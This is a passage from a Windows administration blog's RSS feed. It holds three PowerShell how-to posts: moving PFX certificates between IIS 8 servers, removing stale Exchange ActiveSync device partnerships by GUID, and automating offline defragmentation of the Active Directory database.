<p>The thumbprint of the <em>customer.info</em> certificate is <em>1CA7EBB210086CCC1D9D4DA12B3E333FA851D090</em>.</p>
<p>In order to export the <em>customer.info</em> certificate and the entire chain into the <em>ldap389customer.pfx</em> file use the following onliner:</p>
<pre lang="powershell">Get-ChildItem -Path cert:\localMachine\WebHosting\1CA7EBB210086CCC1D9D4DA12B3E333FA851D090 | Export-PfxCertificate -FilePath C:\ldap389customer.pfx -ProtectTo "LDAP389\LDAP389-CERTIMPORTERS" -ChainOption BuildChain</pre>
<p>The <em>ProtectTo</em> parameter allows you to specify which AD user/group will be able to access to the certificate&#8217;s private key. Export the <em>ldap389.info</em> certificate with the same method.</p>
<p>Now we need to import our two PFX files to another webserver, log in with a member account from the <em>LDAP389-CERTIMPORTERS</em> group and use the <em><a href="http://technet.microsoft.com/en-us/library/hh848625.aspx">Import-PfxCertificate</a></em> cmdlet. The <em>customer.info</em> certificate is imported into the <em>Web Hosting</em> computer&#8217;s certificate store with the following command:</p>
<pre lang="powershell">Import-PfxCertificate -FilePath c:\ldap389customer.pfx cert:\localMachine\WebHosting\</pre>
<p>Do the same with the <em>ldap389.info</em> certificate:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/08/import2.png" rel="lightbox[1881]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1864" title="import2" src="https://www.ldap389.info/wp-content/uploads/2012/08/import2-300x47.png" alt="" width="300" height="47" srcset="https://www.ldap389.info/wp-content/uploads/2012/08/import2-300x47.png 300w, https://www.ldap389.info/wp-content/uploads/2012/08/import2.png 844w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Both certificates are successfuly installed on our second webserver and ready for use with IIS 8 and the SNI feature. Finally import the two certificates on the remaining webservers of your farm.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2012/08/22/windows-server-2012-pfx-certificate-import-export-sni-iis-8-pki-client-cmdlets/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1881</post-id>	</item>
		<item>
		<title>Powershell: Remove stale Activesync mobile device partnerships</title>
		<link>https://www.ldap389.info/en/2012/07/31/powershell-remove-stale-activesync-mobile-device-partnerships-exchange/</link>
					<comments>https://www.ldap389.info/en/2012/07/31/powershell-remove-stale-activesync-mobile-device-partnerships-exchange/#comments</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Tue, 31 Jul 2012 20:13:02 +0000</pubDate>
				<category><![CDATA[scripts @en]]></category>
		<category><![CDATA[ActiveSync @en]]></category>
		<category><![CDATA[PowerShell @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=1838</guid>

					<description><![CDATA[We will describe in this post how to remove stale Exchange ActiveSync device partnerships. You can already find a script on the MS Exchange forum that performs this operation, but with that method the deletion can fail in some cases. Let&#8217;s take an AD account located in a given OU, each OU represents a site/region [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>We will describe in this post how to remove stale Exchange ActiveSync device partnerships. You can already find a script on the <a href="http://social.technet.microsoft.com/Forums/en-US/exchange2010/thread/95ca6537-0c74-4c36-b19b-ec647e733722/">MS Exchange forum</a> that performs this operation, but with that method the deletion can fail in some cases.<br />
<span id="more-1838"></span><br />
Let&#8217;s take an AD account located in a given OU, each OU represents a site/region of the company. We launch the <a href="http://technet.microsoft.com/en-us/library/dd335068">Get-ActiveSyncDevice</a> and <a href="http://technet.microsoft.com/en-us/library/aa996908.aspx">Get-ActiveSyncDeviceStatistics</a> for this account, and look at the <em>identity</em> parameter:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/07/activesyncbefore1.jpg" rel="lightbox[1838]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1823" title="activesyncbefore" src="https://www.ldap389.info/wp-content/uploads/2012/07/activesyncbefore1-300x45.jpg" alt="" width="300" height="45" srcset="https://www.ldap389.info/wp-content/uploads/2012/07/activesyncbefore1-300x45.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/07/activesyncbefore1.jpg 958w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The value of the <em>identity</em> parameter given by both cmdlets is identical. Now, assume that your employee leaves to another region/site of your company, then the AD account is moved to the OU corresponding to his new location:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/07/moveuser.jpg" rel="lightbox[1838]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1824" title="moveuser" src="https://www.ldap389.info/wp-content/uploads/2012/07/moveuser-300x155.jpg" alt="" width="300" height="155" srcset="https://www.ldap389.info/wp-content/uploads/2012/07/moveuser-300x155.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/07/moveuser.jpg 326w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The user returned the mobile device to his former site, therefore it is no longer in use (by the same user). Once the account moved, we re-launch the <a href="http://technet.microsoft.com/en-us/library/dd335068">Get-ActiveSyncDevice</a> and the <a href="http://technet.microsoft.com/en-us/library/aa996908.aspx">Get-ActiveSyncDeviceStatistics</a> cmdlets:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/07/activesyncafter.jpg" rel="lightbox[1838]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1825" title="activesyncafter" src="https://www.ldap389.info/wp-content/uploads/2012/07/activesyncafter-300x45.jpg" alt="" width="300" height="45" srcset="https://www.ldap389.info/wp-content/uploads/2012/07/activesyncafter-300x45.jpg 300w, https://www.ldap389.info/wp-content/uploads/2012/07/activesyncafter.jpg 961w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>You will notice that the value of the <em>identity</em> parameter was updated for the <a href="http://technet.microsoft.com/en-us/library/dd335068">Get-ActiveSyncDevice</a> cmdlet with the new OU, but it was not updated for the <a href="http://technet.microsoft.com/en-us/library/aa996908.aspx">Get-ActiveSyncDeviceStatistics</a> cmdlet.</p>
<p>As a consequence, if you apply the following onliner in order to remove stale ActiveSync device partnerships (i.e. not synchronized during the last 90days), the deletion will fail:</p>
<pre lang="powershell">Get-ActiveSyncDevice -ResultSize unlimited | Get-ActiveSyncDeviceStatistics | where {$_.LastSyncAttemptTime -lt (get-date).adddays(-30)} | Remove-ActiveSyncDevice</pre>
<p>The following error message will be displayed:</p>
<blockquote><p>Couldn&#8217;t find &#8216;ldap389.info/BSR2/test-vpn&#8217; as a recipient.<br />
+ CategoryInfo : InvalidArgument: (:) [Remove-ActiveSyncDevice], RecipientNotFoundException<br />
+ FullyQualifiedErrorId : 2060141F,Microsoft.Exchange.Management.Tasks.RemoveMobileDevice</p></blockquote>
<p>The trick to avoid this error and complete the removal is to use the <em>GUID</em> value of the <em>identity</em> parameter as a primary key between both cmdlets: This value never changes, and is common between both cmdlets. So in order to delete ActiveSync device partnerships that did not synchronize during the last 90days use the following script:</p>
<pre lang="powershell">$guids = Get-ActiveSyncDevice -ResultSize unlimited | Get-ActiveSyncDeviceStatistics | where {$_.LastSyncAttemptTime -lt (get-date).adddays(-90)} | select guid,identity

foreach($guid in $guids){
$UniqueID = [string]$guid.guid
remove-activesyncdevice $UniqueID  -confirm:$false}</pre>
<p>AD accounts can be moved from one OU to another, and the deletion of the mobile device partnership is still successful.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2012/07/31/powershell-remove-stale-activesync-mobile-device-partnerships-exchange/feed/</wfw:commentRss>
			<slash:comments>10</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1838</post-id>	</item>
		<item>
		<title>Powershell: Compact the Active Directory database</title>
		<link>https://www.ldap389.info/en/2012/06/28/powershell-compact-active-directory-database-offline-defrag-pause-wait-event/</link>
					<comments>https://www.ldap389.info/en/2012/06/28/powershell-compact-active-directory-database-offline-defrag-pause-wait-event/#respond</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Thu, 28 Jun 2012 12:59:52 +0000</pubDate>
				<category><![CDATA[AD Database]]></category>
		<category><![CDATA[scripts @en]]></category>
		<category><![CDATA[tools @en]]></category>
		<category><![CDATA[ntds.dit @en]]></category>
		<category><![CDATA[ntdsutil @en]]></category>
		<category><![CDATA[PowerShell @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=1802</guid>

					<description><![CDATA[http://blogs.metcorpconsulting.com/tech/?p=177 http://blogs.technet.com/b/heyscriptingguy/archive/2009/11/02/hey-scripting-guy-november-1-2009.aspx]]></description>
										<content:encoded><![CDATA[<p>We will see in this post how to automate the AD database (NTDS.dit) <a href="http://technet.microsoft.com/fr-fr/library/cc794920(v=ws.10).aspx">offline defragmentaion</a> with Powershell under Windows 2008 server. With Windows 2008 server, you no longer need to restart the DC in <a href="http://technet.microsoft.com/en-us/library/cc732714(v=ws.10).aspx">DSRM mode</a>, you just need to stop the Active Directory service.<br />
<span id="more-1802"></span><br />
Once the service is stopped, launch the <a href="http://technet.microsoft.com/en-us/library/cc753343(v=ws.10).aspx">ntdsutil.exe</a> utility and pass it the input arguments stored in the <em>$compactinput</em> file. The database is compacted in the current execution directory. The result of the command is stored in the <em>$compactresult</em> file for analysis.</p>
<pre lang="powershell">add-content $compactinput 'activate instance ntds'
add-content $compactinput 'files'
$compact = 'compact to '+ (get-location).path
add-content $compactinput $compact
add-content $compactinput 'quit'
add-content $compactinput 'quit'
get-content $compactinput | ntdsutil.exe > $compactresult</pre>
<p>If the compaction is successful the <em>$compactresult</em>  file contains the character string  <em>&#8220;Compaction is successful. You need to:</em>&#8220;. </p>
<p>Next, delete all the log files in the log directory and make a copy of the existing Ntds.dit file by renaming it Ntds.dit.old. Finally copy the compacted database file to the NTDS database directory. In order to know where those directories are located (log and NTDS database) just <a href="http://blogs.metcorpconsulting.com/tech/?p=177">read the DC&#8217;s registry</a>.</p>
<p>Before starting the Active Directory service an integrity check must be performed on the compacted database: Once again, launch the <a href="http://technet.microsoft.com/en-us/library/cc753343(v=ws.10).aspx">ntdsutil.exe</a> utility and pass it the input arguments stored in the <em>$integrityinput</em> file. The result of the command is stored in the <em>$integrityresult</em> file for analysis:</p>
<pre lang="powershell">add-content $integrityinput 'activate instance ntds'
add-content $integrityinput 'files'
add-content $integrityinput 'integrity'
add-content $integrityinput 'quit'
add-content $integrityinput 'quit'
get-content $integrityinput | ntdsutil.exe > $integrityresult</pre>
<p>If the integrity is successful, the <em>$integrityresult</em> file contains the character string <em>&#8220;Integrity check successful</em>&#8220;. If not, repeat the compaction manually by recovering the <em>ntds.dit.old</em> file. In case of problems when running the script, have a look at this <a href="http://technet.microsoft.com/fr-fr/library/cc794920(v=ws.10).aspx">technet</a> article.   </p>
<p>If everything is OK start the Active Directory service (NTDS), and wait for the following event to show up:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/06/event1394_directory_services4.png" rel="lightbox[1802]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-1788" title="event1394_directory_services" src="https://www.ldap389.info/wp-content/uploads/2012/06/event1394_directory_services4-300x209.png" alt="" width="300" height="209" srcset="https://www.ldap389.info/wp-content/uploads/2012/06/event1394_directory_services4-300x209.png 300w, https://www.ldap389.info/wp-content/uploads/2012/06/event1394_directory_services4.png 624w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a><br />
In order to pause the script use the <a href="http://technet.microsoft.com/en-us/library/hh849940.aspx">Wait-event</a> cmdlet. Suspend the script execution until the <a href="http://eventid.net/display.asp?eventid=1394&amp;eventno=411&amp;source=NTDS%20General&amp;phase=1">event ID 1394</a> of the <em>Directory Service</em> logfile appears. To guess the correct syntax just read <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2009/11/02/hey-scripting-guy-november-1-2009.aspx">this Scripting Guy&#8217;s post</a>:</p>
<pre lang="powershell">$QueryString = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.Logfile = 'Directory Service' AND TargetInstance.EventCode = '1394'"
Register-WMIEvent -query $QueryString -sourceIdentifier "AppLogEntry"
$Event = Wait-Event -sourceIdentifier "AppLogEntry" -timeout 90</pre>
<p>The script waits for this event for 90 seconds, if the event does not show up after this time, the script considers that the Active Directory service did not start properly ($Event.TimeGenerated is null). In that case, consult the <em>&#8220;If errors appear when you restart AD DS</em>&#8221; chapter of the <a href="http://technet.microsoft.com/fr-fr/library/cc794920(v=ws.10).aspx">technet</a> article mentioned previously.<br />
To download the full script just click on the link below:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2012/06/offlinedefrag.txt"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-83" title="tool" src="https://www.ldap389.info/wp-content/uploads/2010/03/tool1.png" alt="" width="48" height="48" /></a><br />
<strong>Warning:</strong> For the script to work properly you need the following disk space requirements: Twice the size of your Ntds.dit file (Compacted Ntds + Ntds.dit.old). And remember that before performing an offline defragmentation you should check if you have a valid backup of your DC.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2012/06/28/powershell-compact-active-directory-database-offline-defrag-pause-wait-event/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1802</post-id>	</item>
	</channel>
</rss>
